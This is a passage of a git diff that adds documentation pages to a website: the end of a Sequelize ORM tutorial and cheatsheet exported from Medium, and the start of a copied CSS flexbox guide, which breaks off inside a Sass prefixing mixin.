+        order: [
+            ["age", "DESC"]
+        ],
+        // Here we are limiting our results to one record. It will still return an array, just with one object inside. We could have said any number here, the result is always an array.
+        limit: 1,
+    });
+    console.log(JSON.stringify(cats, null, 2));
+
+### findOne
+
+- <span id="0151">If we only want one record to be returned we can use findOne instead of findAll</span>
+- <span id="2a32">If multiple records would have matched our findOne query, it will return the first record</span>
+- <span id="4c25">Unlike findAll, findOne will return the object directly instead of an array. If no records matched the query it will return null.</span>
+
+<!-- -->
+
+    // finds the oldest cat const cat = await Cat.findOne({ order: [[“age”, “DESC”]], }); console.log(JSON.stringify(cat, null, 2));
+
+- <span id="3bc7">**Querying with Associations**</span>
+
+We can include associated data by adding an include key to our options object
+
+    const pet = Pet.findByPk(1, {
+        include: [PetType, Owner]
+    });
+    console.log(pet.id, pet.name, pet.age, pet.petTypeId, pet.PetType.type, pet.Owners
+
+We can get nested associations by having include point to an object that specifies which model we have an association with, then chaining an association on with another include
+
+**How to perform data validations with Sequelize**
+
+- <span id="e654">See the database migrations section above.</span>
+- <span id="9f26">In general, we add in a validate key to each field that we want validations for. This key points to an object that specifies all of the validations we want to make on that field, such as notEmpty, notNull, len, isIn, etc.</span>
+
+<!-- -->
+
+    specification: {
+        type: DataTypes.TEXT,
+        validate: {
+            notEmpty: {
+                msg: 'The specification cannot be empty'
+            },
+            len: {
+                args: [10, 100]
+                msg: 'The specifcation must be between 10 and 100 characters'
+            }
+        }
+    }
+
+**How to use transactions with Sequelize**
+
+- <span id="1059">We can create a transaction block in order to make sure either all operations are performed or none of them are</span>
+- <span id="a632">We use the .transaction method in order to create our block. The method takes in a callback with an argument to track our transaction id (typically just a simple tx variable).</span>
+- <span id="79f9">All of our sequelize operations can be passed a transaction key on their options argument which points to our transaction id. This indicates that this operation is part of the transaction block and should only be executed in the database when the whole block executes without error.</span>
+
+<!-- -->
+
+    async function main() {
+        try {
+            // Do all database access within the transaction.
+            await sequelize.transaction(async (tx) => {
+                // Fetch Markov and Curie's accounts.
+                const markovAccount = await BankAccount.findByPk(
+                    1, {
+                        transaction: tx
+                    },
+                );
+                const curieAccount = await BankAccount.findByPk(
+                    2, {
+                        transaction: tx
+                    }
+                );
+                // No one can mess with Markov or Curie's accounts until the
+                // transaction completes! The account data has been locked!
+                // Increment Curie's balance by $5,000.
+                curieAccount.balance += 5000;
+                await curieAccount.save({
+                    transaction: tx
+                });
+                // Decrement Markov's balance by $5,000.
+                markovAccount.balance -= 5000;
+                await markovAccount.save({
+                    transaction: tx
+                });
+            });
+        } catch (err) {
+            // Report if anything goes wrong.
+            console.log("Error!");
+            for (const e of err.errors) {
+                console.log(
+                    `${e.instance.clientName}: ${e.message}`
+                );
+            }
+        }
+        await sequelize.close();
+    }
+    main();
+
+---
+
+### Sequelize Cheatsheet
+
+#### Command Line
+
+Sequelize provides utilities for generating migrations, models, and seed files. They are exposed through the `sequelize-cli` command.
+
+#### Init Project
+
+    $ npx sequelize-cli init
+
+You must create a database user, and update the `config/config.json` file to match your database settings to complete the initialization process.
+
+#### Create Database
+
+    npx sequelize-cli db:create
+
+#### Generate a model and its migration
+
+    npx sequelize-cli model:generate --name <ModelName> --attributes <column1>:<type>,<column2>:<type>,...
+
+#### Run pending migrations
+
+    npx sequelize-cli db:migrate
+
+#### Rollback one migration
+
+    npx sequelize-cli db:migrate:undo
+
+#### Rollback all migrations
+
+    npx sequelize-cli db:migrate:undo:all
+
+#### Generate a new seed file
+
+    npx sequelize-cli seed:generate --name <descriptiveName>
+
+#### Run all pending seeds
+
+    npx sequelize-cli db:seed:all
+
+#### Rollback one seed
+
+    npx sequelize-cli db:seed:undo
+
+#### Rollback all seeds
+
+    npx sequelize-cli db:seed:undo:all
+
+#### Migrations
+
+### Create Table (usually used in the up() method)
+
+    // This uses the short form for references
+    return queryInterface.createTable(<TableName>, {
+        <columnName>: {
+            type: Sequelize.<type>,
+            allowNull: <true|false>,
+            unique: <true|false>,
+            references: { model: <TableName> }, // This is the plural table name
+                                                // that the column references.
+        }
+    });
+    // This the longer form for references that is less confusing
+    return queryInterface.createTable(<TableName>, {
+        <columnName>: {
+            type: Sequelize.<type>,
+            allowNull: <true|false>,
+            unique: <true|false>,
+            references: {
+                model: {
+                    tableName: <TableName> // This is the plural table name
+                }
+            }
+        }
+    });
+
+### Delete Table (usually used in the down() function)
+
+    return queryInterface.dropTable(<TableName>);
+
+### Adding a column
+
+    return queryInteface.addColumn(<TableName>, <columnName>: {
+        type: Sequelize.<type>,
+        allowNull: <true|false>,
+        unique: <true|false>,
+        references: { model: <TableName> }, // This is the plural table name
+                                            // that the column references.
+    });
+
+### Removing a column
+
+    return queryInterface.removeColumn(<TableName>, <columnName>);
+
+### Model Associations
+
+### One to One between Student and Scholarship
+
+`student.js`
+
+    Student.hasOne(models.Scholarship, { foreignKey: 'studentId' });
+
+`scholarship.js`
+
+    Scholarship.belongsTo(models.Student, { foreignKey: 'studentId' });
+
+### One to Many between Student and Class
+
+`student.js`
+
+    Student.belongsTo(models.Class, { foreignKey: 'classId' });
+
+`class.js`
+
+    Class.hasMany(models.Student, { foreignKey: 'classId' });
+
+### Many to Many between Student and Lesson through StudentLessons table
+
+`student.js`
+
+    const columnMapping = {
+        through: 'StudentLesson', // This is the model name referencing the join table.
+        otherKey: 'lessonId',
+        foreignKey: 'studentId'
+    }
+    Student.belongsToMany(models.Lesson, columnMapping);
+
+`lesson.js`
+
+    const columnMapping = {
+        through: 'StudentLesson', // This is the model name referencing the join table.
+        otherKey: 'studentId',
+        foreignKey: 'lessonId'
+    }
+    Lesson.belongsToMany(models.Student, columnMapping);
+
+### Inserting a new item
+
+    // Way 1 - With build and save
+    const pet = Pet.build({
+        name: "Fido",
+        petTypeId: 1
+    });
+    await pet.save();
+    // Way 2 - With create
+    const pet = await Pet.create({
+        name: "Fido",
+        petTypeId: 1
+    });
+
+### Updating an item
+
+    // Find the pet with id = 1
+    const pet = await Pet.findByPk(1);
+    // Way 1
+    pet.name = "Fido, Sr."
+    await pet.save;
+    // Way 2
+    await pet.update({
+        name: "Fido, Sr."
+    });
+
+### Deleting a single item
+
+    // Find the pet with id = 1
+    const pet = await Pet.findByPk(1);
+    // Notice this is an instance method
+    pet.destroy();
+
+### Deleting multiple items
+
+    // Notice this is a static class method
+    await Pet.destroy({
+        where: {
+            petTypeId: 1 // Destorys all the pets where the petType is 1
+        }
+    });
+
+### Query Format
+
+### findOne
+
+    await <Model>.findOne({
+        where: {
+            <column>: {
+                [Op.<operator>]: <value>
+            }
+        },
+    });
+
+### findAll
+
+    await <Model>.findAll({
+        where: {
+            <column>: {
+                [Op.<operator>]: <value>
+            }
+        },
+        include: <include_specifier>,
+        offset: 10,
+        limit: 2
+    });
+
+### findByPk
+
+    await <Model>.findByPk(<primary_key>, {
+        include: <include_specifier>
+    });
+
+### Eager loading associations with `include`
+
+Simple include of one related model.
+
+    await Pet.findByPk(1,  {
+            include: PetType
+        })
+
+Include can take an array of models if you need to include more than one.
+
+    await Pet.findByPk(1, {
+            include: [Pet, Owner]
+        })
+
+Include can also take an object with keys `model` and `include`.  
+This is in case you have nested associations.  
+In this case Owner doesn't have an association with PetType, but  
+Pet does, so we want to include PetType onto the Pet Model.
+
+    await Owner.findByPk(1, {
+            include: {
+                model: Pet
+                include: PetType
+            }
+        });
+
+### toJSON method
+
+The confusingly named toJSON() method does **not** return a JSON string but instead  
+returns a POJO for the instance.
+
+    // pet is an instance of the Pet class
+    const pet = await Pet.findByPk(1);
+    console.log(pet) // prints a giant object with
+                     // tons of properties and methods
+    // petPOJO is now just a plain old Javascript Object
+    const petPOJO = pet.toJSON();
+    console.log(petPOJO); // { name: "Fido", petTypeId: 1 }
+
+### Common Where Operators
+
+    const Op = Sequelize.Op
+    [Op.and]: [{a: 5}, {b: 6}] // (a = 5) AND (b = 6)
+    [Op.or]: [{a: 5}, {a: 6}]  // (a = 5 OR a = 6)
+    [Op.gt]: 6,                // > 6
+    [Op.gte]: 6,               // >= 6
+    [Op.lt]: 10,               // < 10
+    [Op.lte]: 10,              // <= 10
+    [Op.ne]: 20,               // != 20
+    [Op.eq]: 3,                // = 3
+    [Op.is]: null              // IS NULL
+    [Op.not]: true,            // IS NOT TRUE
+    [Op.between]: [6, 10],     // BETWEEN 6 AND 10
+    [Op.notBetween]: [11, 15], // NOT BETWEEN 11 AND 15
+    [Op.in]: [1, 2],           // IN [1, 2]
+    [Op.notIn]: [1, 2],        // NOT IN [1, 2]
+    [Op.like]: '%hat',         // LIKE '%hat'
+    [Op.notLike]: '%hat'       // NOT LIKE '%hat'
+    [Op.iLike]: '%hat'         // ILIKE '%hat' (case insensitive) (PG only)
+    [Op.notILike]: '%hat'      // NOT ILIKE '%hat'  (PG only)
+    [Op.startsWith]: 'hat'     // LIKE 'hat%'
+    [Op.endsWith]: 'hat'       // LIKE '%hat'
+    [Op.substring]: 'hat'      // LIKE '%hat%'
+    [Op.regexp]: '^[h|a|t]'    // REGEXP/~ '^[h|a|t]' (MySQL/PG only)
+    [Op.notRegexp]: '^[h|a|t]' // NOT REGEXP/!~ '^[h|a|t]' (MySQL/PG only)
+    [Op.iRegexp]: '^[h|a|t]'    // ~* '^[h|a|t]' (PG only)
+    [Op.notIRegexp]: '^[h|a|t]' // !~* '^[h|a|t]' (PG only)
+    [Op.like]: { [Op.any]: ['cat', 'hat']}
+
+<figure><img src="https://cdn-images-1.medium.com/max/2560/1*IdBeXbBynFmQD7WwTNr7Hw.png" class="graf-image" /></figure><figure><img src="https://cdn-images-1.medium.com/max/2560/1*bgZjuBly2EBDtGiCFaFoFw.png" class="graf-image" /></figure>
+
+### Accessing the Data
+
+You can access and query the data using the `findByPk`, `findOne`, and `findAll` methods. First, make sure you import the models in your JavaScript file. In this case, we are assuming your JavaScript file is in the root of your project and so is the models folder.
+
+    const { Recipe, Ingredient, Instruction, MeasurementUnit } = require('./models');
+
+The models folder exports each of the models that you have created. We have these four in our data model, so we will destructure the models to access each table individually. The associations that you have defined in each of your models will allow you to access data of related tables when you query your database using the `include` option.
+
+If you want to find all recipes, for the recipe list, you would use the `findAll` method. You need to await this, so make sure your function is async.
+
+    async function findAllRecipes() {
+
+    return await Recipe.findAll();
+
+    }
+
+If you would like to include all the ingredients so you can create a shopping list for all the recipes, you would use `include`. This is possible because of the association you have defined in your Recipe and Ingredient models.
+
+    async function getShoppingList() {
+
+    return await Recipe.findAll({ include: [ Ingredient ] });
+
+    }
+
+If you only want to find one where there is chicken in the ingredients list, you would use `findOne` and `findByPk`.
+
+    async function findAChickenRecipe() {
+
+    const chickenRecipe = await Ingredient.findOne({
+
+    where: {
+
+    foodStuff: 'chicken'
+
+    }
+
+    });
+
+    return await Recipe.findByPk(chickenRecipe.recipeId);
+
+    }
+
+### Data Access to Create/Update/Delete Rows
+
+You have two options when you want to create a row in a table (where you are saving one record into the table). You can either `.build` the row and then `.save` it, or you can `.create` it. Either way it does the same thing. Here are some examples:
+
+Let’s say we have a form that accepts the name of the recipe (for simplicity). When we get the results of the form, we can:
+
+    const newRecipe = await Recipe.build({ title: 'Chicken Noodle Soup' });
+
+    await newRecipe.save();
+
+This just created our new recipe and added it to our Recipes table. You can do the same thing like this:
+
+    await Recipe.create({ title: 'Chicken Noodle Soup' });
+
+If you want to modify an item in your table, you can use `update`. Let's say we want to change the chicken noodle soup to chicken noodle soup with extra veggies, first we need to get the recipe, then we can update it.
+
+    const modRecipe = await Recipe.findOne({ where: { title: 'Chicken Noodle Soup' } });
+
+    await modRecipe.update({ title: 'Chicken Noodle Soup with Extra Veggies' });
+
+To delete an item from your table, you will do the same kind of process. Find the recipe you want to delete and `destroy` it, like this:
+
+    const deleteThis = await Recipe.findOne({ where: { title: 'Chicken Noodle Soup with Extra Veggies' } });
+
+    await deleteThis.destroy();
+
+**NOTE:** If you do not await these, you will receive a promise, so you will need to use `.then` and `.catch` to do more with the items you are accessing and modifying.
+
+### Documentation
+
+For the data types and validations in your models, here are the official docs. The sequelize docs are hard to look at, so these are the specific sections with just the lists:  
+**Sequelize Data Types:** <a href="https://sequelize.org/v5/manual/data-types.html" class="markup--anchor markup--p-anchor"><em>https://sequelize.org/v5/manual/data-types.html</em></a>  
+**Validations:** <a href="https://sequelize.org/v5/manual/models-definition.html#validations" class="markup--anchor markup--p-anchor"><em>https://sequelize.org/v5/manual/models-definition.html#validations</em></a>  
+When you access the data in your queries, here are the operators available, again because the docs are hard to navigate, this is the specific section with the list of operators.  
+**Operators:** <a href="https://sequelize.org/v5/manual/querying.html#operators" class="markup--anchor markup--p-anchor"><em>https://sequelize.org/v5/manual/querying.html#operators</em></a>  
+The documentation for building, saving, creating, updating and destroying is linked here, it does a pretty good job of explaining in my opinion, it just has a title that we have not been using in this course. When they talk about an instance, they mean an item stored in your table.  
+**Create/Update/Destroy:** <a href="https://sequelize.org/v5/manual/instances.html" class="markup--anchor markup--p-anchor"><em>https://sequelize.org/v5/manual/instances.html</em></a>
+
+#### If you found this guide helpful feel free to checkout my GitHub/gists where I host similar content:
+
+<a href="https://gist.github.com/bgoonz" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://gist.github.com/bgoonz"><strong>bgoonz’s gists</strong><br />
+<em>There are tons of learning material on the Web The Front-End Checklist is an exhaustive list of all elements you need…</em>gist.github.com</a><a href="https://gist.github.com/bgoonz" class="js-mixtapeImage mixtapeImage u-ignoreBlock"></a>
+
+<a href="https://github.com/bgoonz" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://github.com/bgoonz"><strong>bgoonz — Overview</strong><br />
+<em>Web Developer, Electrical Engineer JavaScript | CSS | Bootstrap | Python | React | Node.js | Express | Sequelize…</em>github.com</a><a href="https://github.com/bgoonz" class="js-mixtapeImage mixtapeImage u-ignoreBlock"></a>
+
+Or Checkout my personal Resource Site:
+
+(Under construction… may be broken at any time)
+
+<a href="https://goofy-euclid-1cd736.netlify.app/" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://goofy-euclid-1cd736.netlify.app/"><strong>a/A-Student-Resources</strong><br />
+<em>Edit description</em>goofy-euclid-1cd736.netlify.app</a><a href="https://goofy-euclid-1cd736.netlify.app/" class="js-mixtapeImage mixtapeImage u-ignoreBlock"></a>
+
+By <a href="https://medium.com/@bryanguner" class="p-author h-card">Bryan Guner</a> on [March 13, 2021](https://medium.com/p/8acb68284a98).
+
+<a href="https://medium.com/@bryanguner/everything-you-need-to-know-about-relational-databases-sql-postgresql-and-sequelize-to-build-8acb68284a98" class="p-canonical">Canonical link</a>
+
+Exported from [Medium](https://medium.com) on September 23, 2021.
diff --git a/src/pages/docs/css/css-flexbox/index.md b/src/pages/docs/css/css-flexbox/index.md
new file mode 100644
index 0000000000..1e104d53ed
--- /dev/null
+++ b/src/pages/docs/css/css-flexbox/index.md
@@ -0,0 +1,457 @@
+---
+title: CSS Flexbox
+template: docs
+excerpt: Since flexbox is a whole module and not a single property
+---
+### Basics and terminology
+
+Since flexbox is a whole module and not a single property, it involves a lot of things including its whole set of properties. Some of them are meant to be set on the container (parent element, known as “flex container”) whereas the others are meant to be set on the children (said “flex items”).
+
+If “regular” layout is based on both block and inline flow directions, the flex layout is based on “flex-flow directions”. Please have a look at this figure from the specification, explaining the main idea behind the flex layout.
+
+![A diagram explaining flexbox terminology. The size across the main axis of flexbox is called the main size, the other direction is the cross size. Those sizes have a main start, main end, cross start, and cross end.](https://css-tricks.com/wp-content/uploads/2018/11/00-basic-terminology.svg)
+
+![A diagram explaining flexbox terminology. The size across the main axis of flexbox is called the main size, the other direction is the cross size. Those sizes have a main start, main end, cross start, and cross end.](https://css-tricks.com/wp-content/uploads/2018/11/00-basic-terminology.svg)
+
+Items will be laid out following either the `main axis` (from `main-start` to `main-end`) or the cross axis (from `cross-start` to `cross-end`).
+
+-   **main axis** – The main axis of a flex container is the primary axis along which flex items are laid out. Beware, it is not necessarily horizontal; it depends on the `flex-direction` property (see below).
+-   **main-start | main-end** – The flex items are placed within the container starting from main-start and going to main-end.
+-   **main size** – A flex item’s width or height, whichever is in the main dimension, is the item’s main size. The flex item’s main size property is either the ‘width’ or ‘height’ property, whichever is in the main dimension.
+-   **cross axis** – The axis perpendicular to the main axis is called the cross axis. Its direction depends on the main axis direction.
+-   **cross-start | cross-end** – Flex lines are filled with items and placed into the container starting on the cross-start side of the flex container and going toward the cross-end side.
+-   **cross size** – The width or height of a flex item, whichever is in the cross dimension, is the item’s cross size. The cross size property is whichever of ‘width’ or ‘height’ that is in the cross dimension.
+
+### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-flexbox-properties)Flexbox properties
+
+![](https://css-tricks.com/wp-content/uploads/2018/10/01-container.svg)
+
+![](https://css-tricks.com/wp-content/uploads/2018/10/01-container.svg)
+
+## [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-properties-for-the-parentflex-container)Properties for the Parent  
+(flex container)
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-display)display
+
+This defines a flex container; inline or block depending on the given value. It enables a flex context for all its direct children.
+
+```css
+.container {
+  display: flex; /* or inline-flex */
+}
+```
+
+Note that CSS columns have no effect on a flex container.
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-flex-direction)flex-direction
+
+![the four possible values of flex-direction being shown: top to bottom, bottom to top, right to left, and left to right](https://css-tricks.com/wp-content/uploads/2018/10/flex-direction.svg)
+
+![the four possible values of flex-direction being shown: top to bottom, bottom to top, right to left, and left to right](https://css-tricks.com/wp-content/uploads/2018/10/flex-direction.svg)
+
+  
+This establishes the main-axis, thus defining the direction flex items are placed in the flex container. Flexbox is (aside from optional wrapping) a single-direction layout concept. Think of flex items as primarily laying out either in horizontal rows or vertical columns.
+
+```css
+.container {
+  flex-direction: row | row-reverse | column | column-reverse;
+}
+```
+
+-   `row` (default): left to right in `ltr`; right to left in `rtl`
+-   `row-reverse`: right to left in `ltr`; left to right in `rtl`
+-   `column`: same as `row` but top to bottom
+-   `column-reverse`: same as `row-reverse` but bottom to top
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-flex-wrap)flex-wrap
+
+![two rows of boxes, the first wrapping down onto the second](https://css-tricks.com/wp-content/uploads/2018/10/flex-wrap.svg)
+
+![two rows of boxes, the first wrapping down onto the second](https://css-tricks.com/wp-content/uploads/2018/10/flex-wrap.svg)
+
+By default, flex items will all try to fit onto one line. You can change that and allow the items to wrap as needed with this property.
+
+```css
+.container {
+  flex-wrap: nowrap | wrap | wrap-reverse;
+}
+```
+
+-   `nowrap` (default): all flex items will be on one line
+-   `wrap`: flex items will wrap onto multiple lines, from top to bottom.
+-   `wrap-reverse`: flex items will wrap onto multiple lines from bottom to top.
+
+There are some [visual demos of `flex-wrap` here](https://css-tricks.com/almanac/properties/f/flex-wrap/).
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-flex-flow)flex-flow
+
+This is a shorthand for the `flex-direction` and `flex-wrap` properties, which together define the flex container’s main and cross axes. The default value is `row nowrap`.
+
+```css
+.container {
+  flex-flow: column wrap;
+}
+```
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-justify-content)justify-content
+
+![flex items within a flex container demonstrating the different spacing options](https://css-tricks.com/wp-content/uploads/2018/10/justify-content.svg)
+
+![flex items within a flex container demonstrating the different spacing options](https://css-tricks.com/wp-content/uploads/2018/10/justify-content.svg)
+
+  
+This defines the alignment along the main axis. It helps distribute extra free space leftover when either all the flex items on a line are inflexible, or are flexible but have reached their maximum size. It also exerts some control over the alignment of items when they overflow the line.
+
+```css
+.container {
+  justify-content: flex-start | flex-end | center | space-between | space-around | space-evenly | start | end | left | right ... + safe | unsafe;
+}
+```
+
+-   `flex-start` (default): items are packed toward the start of the flex-direction.
+-   `flex-end`: items are packed toward the end of the flex-direction.
+-   `start`: items are packed toward the start of the `writing-mode` direction.
+-   `end`: items are packed toward the end of the `writing-mode` direction.
+-   `left`: items are packed toward left edge of the container, unless that doesn’t make sense with the `flex-direction`, then it behaves like `start`.
+-   `right`: items are packed toward right edge of the container, unless that doesn’t make sense with the `flex-direction`, then it behaves like `start`.
+-   `center`: items are centered along the line
+-   `space-between`: items are evenly distributed in the line; first item is on the start line, last item on the end line
+-   `space-around`: items are evenly distributed in the line with equal space around them. Note that visually the spaces aren’t equal, since all the items have equal space on both sides. The first item will have one unit of space against the container edge, but two units of space between the next item because that next item has its own spacing that applies.
+-   `space-evenly`: items are distributed so that the spacing between any two items (and the space to the edges) is equal.
+
+Note that that browser support for these values is nuanced. For example, `space-between` never got support from some versions of Edge, and start/end/left/right aren’t in Chrome yet. MDN [has detailed charts](https://developer.mozilla.org/en-US/docs/Web/CSS/justify-content). The safest values are `flex-start`, `flex-end`, and `center`.
+
+There are also two additional keywords you can pair with these values: `safe` and `unsafe`. Using `safe` ensures that however you do this type of positioning, you can’t push an element such that it renders off-screen (e.g. off the top) in such a way the content can’t be scrolled too (called “data loss”).
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-align-items)align-items
+
+![demonstration of differnet alignment options, like all boxes stuck to the top of a flex parent, the bottom, stretched out, or along a baseline](https://css-tricks.com/wp-content/uploads/2018/10/align-items.svg)
+
+![demonstration of differnet alignment options, like all boxes stuck to the top of a flex parent, the bottom, stretched out, or along a baseline](https://css-tricks.com/wp-content/uploads/2018/10/align-items.svg)
+
+  
+This defines the default behavior for how flex items are laid out along the **cross axis** on the current line. Think of it as the `justify-content` version for the cross-axis (perpendicular to the main-axis).
+
+```css
+.container {
+  align-items: stretch | flex-start | flex-end | center | baseline | first baseline | last baseline | start | end | self-start | self-end + ... safe | unsafe;
+}
+```
+
+-   `stretch` (default): stretch to fill the container (still respect min-width/max-width)
+-   `flex-start` / `start` / `self-start`: items are placed at the start of the cross axis. The difference between these is subtle, and is about respecting the `flex-direction` rules or the `writing-mode` rules.
+-   `flex-end` / `end` / `self-end`: items are placed at the end of the cross axis. The difference again is subtle and is about respecting `flex-direction` rules vs. `writing-mode` rules.
+-   `center`: items are centered in the cross-axis
+-   `baseline`: items are aligned such as their baselines align
+
+The `safe` and `unsafe` modifier keywords can be used in conjunction with all the rest of these keywords (although note [browser support](https://developer.mozilla.org/en-US/docs/Web/CSS/align-items)), and deal with helping you prevent aligning elements such that the content becomes inaccessible.
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-align-content)align-content
+
+![examples of the align-content property where a group of items cluster at the top or bottom, or stretch out to fill the space, or have spacing.](https://css-tricks.com/wp-content/uploads/2018/10/align-content.svg)
+
+![examples of the align-content property where a group of items cluster at the top or bottom, or stretch out to fill the space, or have spacing.](https://css-tricks.com/wp-content/uploads/2018/10/align-content.svg)
+
+  
+This aligns a flex container’s lines within when there is extra space in the cross-axis, similar to how `justify-content` aligns individual items within the main-axis.
+
+**Note:** This property only takes effect on multi-line flexible containers, where `flex-wrap` is set to either `wrap` or `wrap-reverse`). A single-line flexible container (i.e. where `flex-wrap` is set to its default value, `no-wrap`) will not reflect `align-content`.
+
+```css
+.container {
+  align-content: flex-start | flex-end | center | space-between | space-around | space-evenly | stretch | start | end | baseline | first baseline | last baseline + ... safe | unsafe;
+}
+```
+
+-   `normal` (default): items are packed in their default position as if no value was set.
+-   `flex-start` / `start`: items packed to the start of the container. The (more supported) `flex-start` honors the `flex-direction` while `start` honors the `writing-mode` direction.
+-   `flex-end` / `end`: items packed to the end of the container. The (more support) `flex-end` honors the `flex-direction` while end honors the `writing-mode` direction.
+-   `center`: items centered in the container
+-   `space-between`: items evenly distributed; the first line is at the start of the container while the last one is at the end
+-   `space-around`: items evenly distributed with equal space around each line
+-   `space-evenly`: items are evenly distributed with equal space around them
+-   `stretch`: lines stretch to take up the remaining space
+
+The `safe` and `unsafe` modifier keywords can be used in conjunction with all the rest of these keywords (although note [browser support](https://developer.mozilla.org/en-US/docs/Web/CSS/align-items)), and deal with helping you prevent aligning elements such that the content becomes inaccessible.
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-gap-row-gap-column-gap)gap, row-gap, column-gap
+
+![](https://css-tricks.com/wp-content/uploads/2021/09/gap-1.svg)
+
+![](https://css-tricks.com/wp-content/uploads/2021/09/gap-1.svg)
+
+[The `gap` property](https://css-tricks.com/almanac/properties/g/gap/) explicitly controls the space between flex items. It applies that spacing _only between items_ not on the outer edges.
+
+```css
+.container {
+  display: flex;
+  ...
+  gap: 10px;
+  gap: 10px 20px; /* row-gap column gap */
+  row-gap: 10px;
+  column-gap: 20px;
+}
+```
+
+The behavior could be thought of as a _minimum_ gutter, as if the gutter is bigger somehow (because of something like `justify-content: space-between;`) then the gap will only take effect if that space would end up smaller.
+
+It is not exclusively for flexbox, `gap` works in grid and multi-column layout as well.
+
+![](https://css-tricks.com/wp-content/uploads/2018/10/02-items.svg)
+
+![](https://css-tricks.com/wp-content/uploads/2018/10/02-items.svg)
+
+## [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-properties-for-the-childrenflex-items)Properties for the Children  
+(flex items)
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-order)order
+
+![Diagram showing flexbox order. A container with the items being 1 1 1 2 3, -1 1 2 5, and 2 2 99.](https://css-tricks.com/wp-content/uploads/2018/10/order.svg)
+
+![Diagram showing flexbox order. A container with the items being 1 1 1 2 3, -1 1 2 5, and 2 2 99.](https://css-tricks.com/wp-content/uploads/2018/10/order.svg)
+
+  
+By default, flex items are laid out in the source order. However, the `order` property controls the order in which they appear in the flex container.
+
+```css
+.item {
+  order: 5; /* default is 0 */
+}
+```
+
+Items with the same `order` revert to source order.
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-flex-grow)flex-grow
+
+![two rows of items, the first has all equally-sized items with equal flex-grow numbers, the second with the center item at twice the width because its value is 2 instead of 1.](https://css-tricks.com/wp-content/uploads/2018/10/flex-grow.svg)
+
+![two rows of items, the first has all equally-sized items with equal flex-grow numbers, the second with the center item at twice the width because its value is 2 instead of 1.](https://css-tricks.com/wp-content/uploads/2018/10/flex-grow.svg)
+
+  
+This defines the ability for a flex item to grow if necessary. It accepts a unitless value that serves as a proportion. It dictates what amount of the available space inside the flex container the item should take up.
+
+If all items have `flex-grow` set to `1`, the remaining space in the container will be distributed equally to all children. If one of the children has a value of `2`, that child would take up twice as much of the space either one of the others (or it will try, at least).
+
+```css
+.item {
+  flex-grow: 4; /* default 0 */
+}
+```
+
+Negative numbers are invalid.
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-flex-shrink)flex-shrink
+
+This defines the ability for a flex item to shrink if necessary.
+
+```css
+.item {
+  flex-shrink: 3; /* default 1 */
+}
+```
+
+Negative numbers are invalid.
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-flex-basis)flex-basis
+
+This defines the default size of an element before the remaining space is distributed. It can be a length (e.g. 20%, 5rem, etc.) or a keyword. The `auto` keyword means “look at my width or height property” (which was temporarily done by the `main-size` keyword until deprecated). The `content` keyword means “size it based on the item’s content” – this keyword isn’t well supported yet, so it’s hard to test and harder to know what its brethren `max-content`, `min-content`, and `fit-content` do.
+
+```css
+.item {
+  flex-basis:  | auto; /* default auto */
+}
+```
+
+If set to `0`, the extra space around content isn’t factored in. If set to `auto`, the extra space is distributed based on its `flex-grow` value. [See this graphic.](http://www.w3.org/TR/css3-flexbox/images/rel-vs-abs-flex.svg)
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-flex)flex
+
+This is the shorthand for `flex-grow,` `flex-shrink` and `flex-basis` combined. The second and third parameters (`flex-shrink` and `flex-basis`) are optional. The default is `0 1 auto`, but if you set it with a single number value, like `flex: 5;`, that changes the `flex-basis` to 0%, so it’s like setting `flex-grow: 5; flex-shrink: 1; flex-basis: 0%;`.
+
+```css
+.item {
+  flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ]
+}
+```
+
+**It is recommended that you use this shorthand property** rather than set the individual properties. The shorthand sets the other values intelligently.
+
+#### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-align-self)align-self
+
+![One item with a align-self value is positioned along the bottom of a flex parent instead of the top where all the rest of the items are.](https://css-tricks.com/wp-content/uploads/2018/10/align-self.svg)
+
+![One item with a align-self value is positioned along the bottom of a flex parent instead of the top where all the rest of the items are.](https://css-tricks.com/wp-content/uploads/2018/10/align-self.svg)
+
+  
+This allows the default alignment (or the one specified by `align-items`) to be overridden for individual flex items.
+
+Please see the `align-items` explanation to understand the available values.
+
+```css
+.item {
+  align-self: auto | flex-start | flex-end | center | baseline | stretch;
+}
+```
+
+Note that `float`, `clear` and `vertical-align` have no effect on a flex item.
+
+### [](https://css-tricks.com/snippets/css/a-guide-to-flexbox//#aa-prefixing-flexbox)Prefixing Flexbox
+
+Flexbox requires some vendor prefixing to support the most browsers possible. It doesn’t just include prepending properties with the vendor prefix, but there are actually entirely different property and value names. This is because the Flexbox spec has changed over time, creating an [“old”, “tweener”, and “new”](https://css-tricks.com/old-flexbox-and-new-flexbox/) versions.
+
+Perhaps the best way to handle this is to write in the new (and final) syntax and run your CSS through [Autoprefixer](https://css-tricks.com/autoprefixer/), which handles the fallbacks very well.
+
+Alternatively, here’s a Sass `@mixin` to help with some of the prefixing, which also gives you an idea of what kind of things need to be done:
+
+```scss
+@mixin flexbox() {
+  display: -webkit-box;
+  display: -moz-box;
+  display: -ms-flexbox;
+  display: -webkit-flex;
+  display: flex;
+}
+
+@mixin flex($values) {
+  -webkit-box-flex: $values;
+  -moz-box-flex:  $values;
+  -webkit-flex:  $values;
+  -ms-flex:  $values;
+  flex:  $values;
+}
+
+@mixin order($val) {
